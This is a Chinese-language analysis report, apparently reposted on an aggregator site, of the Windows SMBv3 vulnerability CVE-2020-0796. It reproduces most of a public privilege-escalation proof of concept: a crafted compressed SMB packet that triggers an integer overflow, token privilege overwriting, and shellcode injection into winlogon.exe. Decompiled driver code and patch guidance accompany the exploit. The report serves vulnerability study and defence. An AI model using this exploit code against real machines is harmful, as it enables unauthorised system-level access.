CVE 您所在的位置:网站首页 poc是什么格式 CVE

CVE

2024-01-20 11:15| 来源: 网络整理| 查看: 265

CVE-2020-0796 漏洞分析报告 1 漏洞介绍 1.1 名称

微软SMBv3 Client/Server远程代码执行漏洞CVE-2020-0796

1.2 影响范围

Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for x64-based Systems Windows 10 Version 1903 for ARM64-based Systems Windows Server, Version 1903 (Server Core installation) Windows 10 Version 1909 for 32-bit Systems Windows 10 Version 1909 for x64-based Systems Windows 10 Version 1909 for ARM64-based Systems Windows Server, Version 1909 (Server Core installation)

1.3 SMB介绍

Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。

Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。

利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。

2 POC简介

该POC用来恶意提权,虽然该漏洞发生在远程数据传输,但是该POC是本地运行的恶意提权软件。实质上还是需要构造数据包,发生到服务器,但是这里客户端和服务器都是同一台机器。之所以POC需要这样构造 ,是因为利用该漏洞我们可以实现向任意区域写任意数据,但由于地址随机化,我们在客户端很难获取想要写入的服务器地址。

本次分析的环境是cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c,关闭更新。

2.1 来源

https://github.com/danigargu/CVE-2020-079

2.2 运行结果分析 可执行程序

在这里插入图片描述

执行结果

在这里插入图片描述

如图所示,运行该可执行程序后,最终弹出具有管理员权限的cmd.exe。

2.3 SMB 协议格式

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TM59pHAv-1590634234535)(CVE-2020-0796 漏洞分析报告.assets/smb_header.png)]

3 静态分析

静态分析部分包括利用IDA静态分析漏洞所在驱动(srv2.sys)和分析POC代码。

3.1 POC分析 构造socket sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == INVALID_SOCKET) { printf("socket() failed with error: %d\n", WSAGetLastError()); WSACleanup(); return EXIT_FAILURE; } sockaddr_in client; client.sin_family = AF_INET; client.sin_port = htons(445); InetPton(AF_INET, "127.0.0.1", &client.sin_addr);

如代码段所示,该程序构造socket用于发生SMB数据包,且目的地址为本机。

获取当前进程的令牌 ktoken = get_process_token();//自定义函数 if (ktoken == -1) { printf("Couldn't leak ktoken of current process...\n"); return EXIT_FAILURE; } ULONG64 get_process_token() { HANDLE token; HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId()); if (proc == INVALID_HANDLE_VALUE) return 0; //参数分别为 1:要修改访问权限的进程句柄 2:要对令牌进行何种操作 3:返回的访问令牌指针 OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token); ULONG64 ktoken = get_handle_addr(token); return ktoken; } 构造数据 memset(buffer, 'A', 0x1108); *(uint64_t*)(buffer + 0x1108) = ktoken + 0x40;

在这里插入图片描述

经过查询,ktoken + 0x40对应的字段是SEP_TOKEN_PRIVILEGES,可以通过修改该字段提权。

压缩数据

将构造的数据进行压缩。

err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size, compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace); if (err != STATUS_SUCCESS) { printf("RtlCompressBuffer() failed with error: %#x\n", err); free(lpWorkSpace); return error_exit(sock, NULL); } 发送SMB数据包 if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) { return error_exit(sock, "send()"); } int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) { int err = 0; char response[8] = { 0 }; const uint8_t buf[] = { /* NetBIOS Wrapper */ 0x00, 0x00, 0x00, 0x33, /* SMB Header */ 0xFC, 0x53, 0x4D, 0x42, /* protocol id */ 0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */ 0x02, 0x00, /* compression algorithm, LZ77 */ 0x00, 0x00, /* flags */ 0x10, 0x00, 0x00, 0x00, /* offset */ }; uint8_t* packet = (uint8_t*) malloc(sizeof(buf) + 0x10 + len); if (packet == NULL) { printf("Couldn't allocate memory with malloc()\n"); return error_exit(sock, NULL); } memcpy(packet, buf, sizeof(buf)); *(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC; *(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC; memcpy(packet + sizeof(buf) + 0x10, buffer, len); if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) { recv(sock, response, sizeof(response), 0); } free(packet); return err; }

如send_compressed函数所示,SMB Header构造中original decompressed size(原始未压缩数据的长度)设置的值很大,与真实值不等,这就是造成溢出的地方。发送的SMB数据包包括未压缩数据(data_1)和压缩数据(data_2)。data1_1的数据长度字段为offset(0x10)。

数据包

在这里插入图片描述

注入shellcode

已经将当前进程提权,再通过注入常规的shellcode到windows进程winlogon.exe中执行任意代码,这里是开启cmd。

void inject(void) { PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); uint8_t shellcode[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x6D, 0x64, 0x00, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xff, 0xc2, // inc edx (1 = SW_SHOW) 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 0x00 }; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); int pid = -1; //1. 寻找 winlogon.exe if (Process32First(snapshot, &entry) == TRUE) { while (Process32Next(snapshot, &entry) == TRUE) { if (lstrcmpiA(entry.szExeFile, "winlogon.exe") == 0) { pid = entry.th32ProcessID; break; } } } CloseHandle(snapshot); if (pid < 0) { printf("Could not find process\n"); return; } printf("Injecting shellcode in winlogon...\n"); HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (hProc == NULL) { printf("Could not open process\n"); return; } LPVOID lpMem = VirtualAllocEx(hProc, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpMem == NULL) { printf("Remote allocation failed\n"); return; } //2. 将shellcode插入到winlogon.exe if (!WriteProcessMemory(hProc, lpMem, shellcode, sizeof(shellcode), 0)) { printf("Remote write failed\n"); return; } if (!CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0)) { printf("CreateRemoteThread failed\n"); return; } printf("Success! ;)\n"); } 3.2 驱动分析

通过网上该漏洞的介绍,了解到漏洞发生的位置在Windows驱动srv2.sys中,且存在于解压相关函数中,通过IDA加载srv2.sys以及对应的符号文件进行分析。

Srv2DecompressData(srv2.sys) signed __int64 __fastcall Srv2DecompressData(__int64 smb_packet) { __int64 smb_packet_n; // rdi@1 __int64 smb_header_n; // rax@1 __m128i v3; // xmm0@2 __m128i v4; // xmm0@2 unsigned int v5; // ebp@2 __int64 v7; // rax@4 __int64 v8; // rbx@4 int v9; // eax@7 __m128i Size; // [sp+30h] [bp-28h]@2 int v11; // [sp+60h] [bp+8h]@1 v11 = 0; smb_packet_n = smb_packet smb_header_n = *(_QWORD *)(smb_packet + 240); if ( *(_DWORD *)(smb_header + 36) < 0x10u ) return 3221227787i64; v3 = *(__m128i *)*(_QWORD *)(smb_header_n + 24);//根据SMB header,v3对应offset字段 Size = v3; v4 = _mm_srli_si128(v3, 8); v5 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 80) + 496i64) + 140i64); if ( v5 != v4.m128i_u16[0] ) return 3221225659i64; LODWORD(v7) = SrvNetAllocateBuffer((unsigned int)(Size.m128i_i32[1] + v4.m128i_i32[1]), 0i64); v8 = v7; if ( !v7 ) return 3221225626i64; if ( SmbCompressionDecompress( v5, *(_QWORD *)(*(_QWORD *)(smb_packet_n + 240)+24i64)+(unsigned int)Size.m128i_u32[3] + 16i64, (unsigned int)(*(_DWORD *)(*(_QWORD *)(smb_packet_n + 240) + 36i64) - Size.m128i_i32[3] - 16), (unsigned int)Size.m128i_u32[3] + *(_QWORD *)(v7 + 0x18)) < 0 || (v9 = 0, 0 != Size.m128i_i32[1]) ) { SrvNetFreeBuffer(v8); return 3221227787i64; } if ( Size.m128i_i32[3] ) { memmove(*(void **)(v8 + 24), (const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet_n + 240) + 24i64) + 16i64), Size.m128i_u32[3]); v9 = 0; } *(_DWORD *)(v8 + 36) = Size.m128i_i32[3] + v9; Srv2ReplaceReceiveBuffer(smb_packet_n, v8); return 0i64; }

如上代码所示,漏洞产生的原因就在第25行,当前函数调用SrvNetAllocateBuffer函数给SMB数据包分配内存,但是传入的参数是压缩数据与未压缩数据长度之和,这个长度可能发生溢出,但是这里并没有进行溢出判断。在之前的POC中,正是利用这一点,传入一个较大的长度触发整数溢出。

SrvNetAllocateBuffer(srvnet.sys) PSLIST_ENTRY __usercall SrvNetAllocateBuffer@(__int64 a1@, __int64 a2@, unsigned __int64 a3@) { int v3; // ebp@1 unsigned int v4; // esi@1 __int64 v5; // r14@1 signed __int16 v6; // di@1 __int64 v7; // rcx@4 int v8; // eax@4 __int64 v9; // rdx@6 __int64 v10; // rax@6 __int64 v11; // rdi@6 PSLIST_ENTRY v12; // rbx@8 __int64 v13; // rax@9 struct __declspec(align(16)) _SLIST_ENTRY *v14; // rax@9 unsigned __int64 v16; // rcx@16 unsigned int v17; // eax@18 void *v18; // rcx@20 __int16 v19; // ax@20 struct __declspec(align(16)) _SLIST_ENTRY *v20; // rax@24 v3 = *MK_FP(__GS__, 420i64); v4 = 0; v5 = a2; v6 = 0; if ( SrvDisableNetBufferLookAsideList || a3 > 0x100100 ) { if ( a3 > 0x1000100 ) return 0i64; LODWORD(v20) = SrvNetAllocateBufferFromPool(a3, a3); v12 = v20; } else { if ( a3 > 0x1100 ) { v16 = a3 - 256; _BitScanReverse64((unsigned __int64 *)&a2, v16); _BitScanForward64((unsigned __int64 *)&a1, v16); if ( (_DWORD)a2 == (_DWORD)a1 ) v4 = a2 - 12; else v4 = a2 - 11; } v7 = SrvNetBufferLookasides[(unsigned __int64)v4]; v8 = *(_DWORD *)v7 - 1; if ( (unsigned int)(unsigned __int16)v3 + 1 < *(_DWORD *)v7 ) v8 = (unsigned __int16)v3 + 1; v9 = (unsigned int)v8; v10 = *(_QWORD *)(v7 + 32); v11 = *(_QWORD *)(v10 + 8 * v9); if ( !*(_BYTE *)(v11 + 112) ) PplpLazyInitializeLookasideList(v7, *(_QWORD *)(v10 + 8 * v9)); ++*(_DWORD *)(v11 + 20); v12 = ExpInterlockedPopEntrySList((PSLIST_HEADER)v11); if ( !v12 ) { ++*(_DWORD *)(v11 + 24); v13 = *(_QWORD *)(v11 + 48); LODWORD(v14) = _guard_dispatch_icall_fptr( *(_DWORD *)(v11 + 36), *(_DWORD *)(v11 + 44), *(_DWORD *)(v11 + 40), v11); v12 = v14; } v6 = 2; } if ( v12 ) { LOWORD(v12[1].Next) |= v6; WORD1(v12[1].Next) = v4; WORD2(v12[1].Next) = v3; if ( v5 ) { v17 = *(_DWORD *)(v5 + 36); if ( v17 >= LODWORD(v12[2].Next) ) v17 = (unsigned int)v12[2].Next; v18 = (void *)*((_QWORD *)&v12[1].Next + 1); HIDWORD(v12[2].Next) = v17; memmove(v18, *(const void **)(v5 + 24), v17); v19 = *(_WORD *)(v5 + 22); if ( v19 ) { WORD3(v12[1].Next) = v19; memmove((char *)&v12[6].Next + 4, (const void *)(v5 + 100), 16i64 * *(_WORD *)(v5 + 22)); } } else { HIDWORD(v12[2].Next) = 0; } } return v12; }

srvnet!SrvNetAllocateBuffer中,对于传入的大小做了判断(34行-44行),小于0x1100(POC为0xf)的时候将会传入固定的值0x1100作为后面结构体空间的内存分配值进行相应运算。SrvNetBufferLookasides是一个数组,值分别为[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]。SrvNetBufferLookasides数组通过函数SrvNetCreateBufferLookasides初始化,实际SrvNetCreateBufferLookasides循环调用了SrvNetBufferLookasideAllocate分配内存。

unsigned __int64 __fastcall SrvNetBufferLookasideAllocate(__int64 a1, __int64 a2) { return SrvNetAllocateBufferFromPool(a1, a2); }

SrvNetBufferLookasideAllocate函数实际是调用SrvNetAllocateBufferFromPool来分配内存。

unsigned __int64 __fastcall SrvNetAllocateBufferFromPool(__int64 a1, unsigned __int64 a2) { unsigned int v2; // esi@1 unsigned __int64 v3; // rdi@4 SIZE_T v4; // rax@5 unsigned __int64 v5; // rbp@5 signed __int64 v6; // rax@6 unsigned __int64 v7; // rbx@7 char *v8; // rdx@10 signed __int32 v9; // ecx@11 signed __int64 v10; // r9@13 unsigned __int64 v11; // rdi@13 unsigned __int64 v12; // r8@13 int v13; // edx@13 __int64 v14; // r9@13 unsigned __int64 v15; // rdx@13 signed __int64 v16; // r8@13 unsigned __int64 result; // rax@13 v2 = a2; if ( a2 > 0xFFFFFFFF ) return 0i64; if ( (unsigned int)a2 >= 0xFFFFFFFFFFFFFFB0ui64 ) return 0i64; if ( (unsigned __int64)(unsigned int)a2 + 88 < (unsigned __int64)(unsigned int)a2 + 80 ) return 0i64; v3 = (unsigned int)a2 + 232i64; if ( v3 < (unsigned __int64)(unsigned int)a2 + 88 ) return 0i64; v4 = MmSizeOfMdl(0i64, (unsigned int)a2 + 232i64); v5 = v4 + 8; if ( v4 + 8 < v4 ) return 0i64; v6 = 2 * v5; if ( !is_mul_ok(2ui64, v5) ) return 0i64; v7 = v6 + v3; if ( v6 + v3 < v3 ) return 0i64; if ( v7 < 0x1000 ) { v7 = 4096i64; } else if ( v7 > 0xFFFFFFFF ) { return 0i64; } v8 = (char *)ExAllocatePoolWithTag((POOL_TYPE)512, v7, 0x3030534Cu); if ( !v8 ) { _InterlockedIncrement((volatile signed __int32 *)&unk_1C002DEB8); return 0i64; } v9 = v7 + _InterlockedExchangeAdd((volatile signed __int32 *)&unk_1C002DEB4, v7); if ( (signed int)v7 > 0 ) { while ( v9 > dword_1C002DEBC && _InterlockedCompareExchange(&dword_1C002DEBC, v9, dword_1C002DEBC) != v9 ) ; } v10 = (signed __int64)(v8 + 80); v11 = (unsigned __int64)&v8[v2 + 0x57] & 0xFFFFFFFFFFFFFFF8ui64; *(_QWORD *)(v11 + 48) = v8; *(_QWORD *)(v11 + 80) = (v11 + v5 + 151) & 0xFFFFFFFFFFFFFFF8ui64; v12 = (v11 + 151) & 0xFFFFFFFFFFFFFFF8ui64; *(_QWORD *)(v11 + 0x18) = v8 + 0x50; *(_QWORD *)(v11 + 56) = v12; *(_WORD *)(v11 + 16) = 0; *(_WORD *)(v11 + 22) = 0; *(_DWORD *)(v11 + 32) = v2; *(_DWORD *)(v11 + 36) = 0; v13 = ((_WORD)v8 + 80) & 0xFFF; *(_DWORD *)(v11 + 40) = v7; *(_DWORD *)(v11 + 64) = 0; *(_QWORD *)(v11 + 72) = 0i64; *(_QWORD *)(v11 + 88) = 0i64; *(_DWORD *)(v11 + 96) = 0; *(_QWORD *)v12 = 0i64; *(_WORD *)(v12 + 8) = 8 * ((((unsigned __int16)v13 + (unsigned __int64)v2 + 4095) >> 12) + 6); *(_WORD *)(v12 + 10) = 0; *(_QWORD *)(v12 + 32) = v10 & 0xFFFFFFFFFFFFF000ui64; *(_DWORD *)(v12 + 44) = v13; *(_DWORD *)(v12 + 40) = v2; MmBuildMdlForNonPagedPool(*(PMDL *)(v11 + 56)); MmMdlPageContentsState(*(_QWORD *)(v11 + 56), 1i64); *(_WORD *)(*(_QWORD *)(v11 + 56) + 10i64) |= 0x1000u; v14 = *(_QWORD *)(v11 + 80); v15 = *(_QWORD *)(v11 + 24) & 0xFFFFFFFFFFFFF000ui64; v16 = *(_QWORD *)(v11 + 24) & 0xFFFi64; result = v11; *(_QWORD *)v14 = 0i64; *(_WORD *)(v14 + 8) = 8 * (((v16 + (unsigned __int64)v2 + 4095) >> 12) + 6); *(_WORD *)(v14 + 10) = 0; *(_QWORD *)(v14 + 32) = v15; *(_DWORD *)(v14 + 44) = v16; *(_DWORD *)(v14 + 40) = v2; *(_WORD *)(*(_QWORD *)(v11 + 80) + 10i64) |= 4u; return result; }

如48行所示,在函数SrvNetAllocateBufferFromPool中,对于用户请求的内存分配大小,内部通过ExAllocatePoolWithTag函数分配的内存实际要大于请求值(多出部分用于存储部分内存相关数据结构)。ExAllocatePoolWithTag函数的返回值为v8(指向分配内存的地址)。

如61行所示,v11 (return_buffer)指向一个内存数据结构,该内存数据结构起始地址同实际分配内存(函数ExAllocatePoolWithTag分配的内存)起始地址的的偏移为0x1150;

如65行所示,v11+0x18位置指向了实际分配内存起始地址偏移0x50位置处,而最终return_buffer会作为函数SrvNetAllocateBuffer的返回值。

最终return_buffer会作为函数SrvNetAllocateBuffer的返回值。

Srv2DecompressData (29行)

SmbCompressionDecompress(v5,*(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + (unsigned int)Size.m128i_u32[3] + 16i64,(unsigned int)(*(_DWORD *)(*(_QWORD *)(v1 + 240) + 36i64) - Size.m128i_i32[3] - 16),(unsigned int)Size.m128i_u32[3] + *(_QWORD *)(v7 + 24))

在进行内存分配之后,Srv2DecompressData调用函数SmbCompressionDecompress开始解压被压缩的数据。

SmbCompressionDecompress(srvnet.sys) __int64 __fastcall SmbCompressionDecompress(int a1, __int64 a2, __int64 a3, __int64 a4, unsigned int a5, unsigned int *a6) { PVOID v6; // rdi@1 __int64 v7; // r14@1 __int64 v8; // r15@1 int v9; // ebx@2 int v10; // ecx@3 int v11; // ecx@4 signed __int16 v12; // bx@6 unsigned int *v13; // rsi@12 unsigned int v14; // ebp@12 int v16; // [sp+40h] [bp-28h]@1 SIZE_T NumberOfBytes; // [sp+70h] [bp+8h]@1 v16 = 0; v6 = 0i64; LODWORD(NumberOfBytes) = 0; v7 = a4; v8 = a2; if ( !a1 ) goto LABEL_2; v10 = a1 - 1; if ( v10 ) { v11 = v10 - 1; if ( v11 ) { if ( v11 != 1 ) LABEL_2: return (unsigned int)-1073741637; v12 = 4; } else { v12 = 3; } } else { v12 = 2; } if ( RtlGetCompressionWorkSpaceSize((unsigned __int16)v12, &NumberOfBytes, &v16) < 0 || (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, 0i64, 0x2532534Cu)) != 0i64 ) { v13 = a6; v14 = a5; v9 = RtlDecompressBufferEx2((unsigned __int16)v12, v7, a5, v8); if ( v9 >= 0 ) *v13 = v14; if ( v6 ) ExFreePoolWithTag(v6, 0x2532534Cu); } else { v9 = -1073741670; } return (unsigned int)v9; }

如47行所示,该函数调用了Windows库函数RtlDecompressBufferEx2来实现解压,根据RtlDecompressBufferEx2的函数原型来对应分析SmbCompressionDecompress函数的各个参数。

a1: SmbCompressionDecompress(CompressAlgo,//压缩算法a2: Compressed_buf,//指向数据包中的压缩数据a3: Compressed_size,//数据包中压缩数据大小,计算得到a4: UnCompressedBuf, //解压后的数据存储地址,(unsigned int)Size.m128i_u32[3] + *(_QWORD *)(v7 + 0x18),也就是 (return_buffer+0x18)+0x10a5: UnCompressedSize,//压缩数据原始大小,源于数据包OriginalCompressedSegmentSizea6: FinalUnCompressedSize)//最终解压后数据大小。 3.3 数据溢出分析 SMB数据包

在这里插入图片描述

分配的内存

在这里插入图片描述

解压压缩文件

在解压压缩数据时,将压缩数据解压后放入(return_buffer+0x18)+0x10处,也就是0x60处,但是由于分配的user_buf区域小于压缩数据长度,导致数据溢出到memory manage struct。

在这里插入图片描述

上图是根据POC构造的SMB数据所画,最终(return_buffer+0x18)所指向的地址被修改,指向的地址变为token_40_addr。

处理未压缩文件

如 Srv2DecompressData(41行)所示:

if ( Size.m128i_i32[3] ) { memmove(*(void **)(v8 + 0x18), (const void *)(*(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + 16i64), Size.m128i_u32[3]); v9 = 0; }

解压压缩数据完成后,判断offset字段是否为0,不为0则将未压缩数据复制到(return_buffer+0x18)处,但是由于(return_buffer+0x18)被修改,导致数据写入了别的地址,最终实现的效果就是修改了权限字段的值,到达提权的效果。

4 动态调试

静态调试部分已经弄清楚漏洞如何被利用,动态调试部分只是查看静态分析过程中的一些特殊的值,只是进行简单的分析。

查看整数溢出 bp srv2!Srv2DecompressData

在这里插入图片描述

如上图所示,在设置断点之后,单步执行到调用SrvNetAllocateBuffer之前的几条汇编指令,并查看寄存器的值。rcx的值就是整数加法溢出后的结果。

实际分配内存

在这里插入图片描述

如上图所示,在srvnet!SrvNetAllocateBufferFromPool设置断点,调用nt!ExAllocatePoolWithTag前查看寄存器的值。rdx即是SMB解压过程中实际分配的大小,比0x1100大一些是需要存储memory manage struct

5 漏洞修补方法 5.1 更新,完成补丁的安装。

操作步骤:设置->更新和安全->Windows更新,点击“检查更新”。

5.2 微软给出了临时的应对办法:

运行regedit.exe,打开注册表编辑器,在HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\ Parameters建立一个名为DisableCompression的DWORD,值为1,禁止SMB的压缩功能。

5.3 对SMB通信445端口进行封禁 参考链接

https://paper.seebug.org/1164/#0x05

https://www.cnblogs.com/A66666/p/29635a243378b49ccb485c7a280df989.html

https://paper.seebug.org/1168/#_7



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有